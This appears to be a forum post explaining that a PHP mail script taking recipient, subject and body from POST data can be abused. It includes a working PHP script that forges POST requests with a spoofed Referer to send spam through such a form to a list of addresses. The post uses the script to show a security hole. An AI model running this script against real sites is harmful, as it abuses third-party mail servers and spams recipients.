It doesn't even have to be a form. Someone who wanted to abuse this simply has to write a script which sends a POST request to your script.
All he had to do would be to send the request for example like this.
Even checking the referer wouldn't help since it has been faked.
PHP Code:
<?php
$body = 'This is our example spam mail';
$topic = 'FREE stuff';
$addresses = array(
'foo@bar.com',
'example@test.com',
'spam@me.com'
);
foreach ($addresses as $email) {
$fp = fsockopen('www.example.com', 80);
if ($fp) {
$query = 'email_body='.$body.'&email_to='.$email.'&email_subject='.$topic;
$req = "POST /scripts/email.php HTTP/1.0\r\n";
$req .= "Host: www.example.com\r\n";
$req .= "Referer: http://www.example.com/contact.html\r\n";
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-length: ". strlen($query) ."\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $query;
fwrite($fp, $req);
$answer = '';
while (!feof($fp)) {
$answer .= fread($fp, 1024);
}
fclose($fp);
} else {
continue;
}
echo 'Successfully spammed ' . $email;
}
?>
Bookmarks